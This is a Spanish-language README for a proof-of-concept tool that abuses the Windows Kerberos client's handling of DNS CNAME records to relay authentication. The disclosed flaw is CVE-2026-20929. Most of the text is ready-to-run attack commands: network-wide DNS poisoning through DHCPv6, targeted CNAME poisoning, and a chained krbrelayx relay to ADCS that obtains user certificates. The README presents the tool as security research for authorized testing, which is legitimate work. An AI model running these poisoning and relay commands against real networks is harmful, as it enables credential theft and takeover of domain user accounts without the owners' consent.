
PoC de abuso de CNAME en Kerberos
Esta herramienta es la prueba de concepto de la técnica de Relay por Abuso de CNAME de Kerberos, basada en la herramienta MITM6.
La investigación descubrió una falla en el comportamiento del cliente Kerberos de Windows: cuando se devuelve un registro CNAME de DNS, el cliente sigue el alias y construye la solicitud TGS utilizando el nombre de host del CNAME como SPN. Esto permite a un atacante con posición MITM de DNS coaccionar a cualquier usuario de dominio para que solicite un ticket Kerberos para un servicio elegido por el atacante, permitiendo ataques de relay bajo demanda y entre protocolos contra SMB, HTTP y otros servicios donde no se aplica la firma o el enlace de canal (Channel Binding).
A diferencia de técnicas de relay Kerberos anteriores que se limitaban a cuentas de máquina o requerían condiciones específicas, este método funciona de manera confiable contra cuentas de usuario en configuraciones predeterminadas de Windows.
Microsoft mitigó el riesgo aplicando un parche para imponer CBT en https y habilitar la firma por defecto en los protocolos afectados. La corrección se rastrea como CVE-2026-20929.
Para obtener detalles técnicos completos, un recorrido de explotación y un análisis de impacto, consulte la entrada de blog en Cymulate.
Utilice --cname-source para apuntar a un dominio específico que la víctima intenta acceder, o --cname-source-all para envenenar cada consulta DNS. Ambos requieren --cname para especificar el nombre de host objetivo que se utilizará en la respuesta CNAME (la víctima solicitará entonces un TGS para este nombre de host).
La bandera --only-dns deshabilita la funcionalidad original del servidor DHCPv6 de mitm6 y los Anuncios de Enrutador (Router Advertisement). Esto permite combinar el envenenamiento de CNAME con otras técnicas MITM como el envenenamiento ARP.
La opción --passthrough acepta un archivo que contiene dominios que deben resolverse a sus direcciones IP reales (formato: dominio:ip por línea). Útil para mantener la conectividad con infraestructura crítica como Controladores de Dominio (experimental).
pip install -r requirements.txt
Envenena todas las consultas DNS con un CNAME que apunte al objetivo del relay:
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname target.corp.local
Solo envenena consultas para un nombre de host específico:
python mitm6-cname.py -i eth0 -d corp.local --cname-source fileserver.corp.local --cname adcs.corp.local
Omite DHCPv6/RA al usar envenenamiento ARP para MITM de DNS:
python mitm6-cname.py -i eth0 --only-dns -d corp.local --cname-source-all --cname target.corp.local
# Terminal 1: Envenenamiento de CNAME
python mitm6-cname.py -i eth0 -d corp.local --cname-source-all --cname adcs.corp.local
# Terminal 2: Relay a ADCS
krbrelayx.py -t http://adcs.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template User
Esta herramienta es una PoC no productiva proporcionada únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Úsela bajo su propio riesgo y solo contra sistemas para los que tenga permiso explícito de prueba.
MIT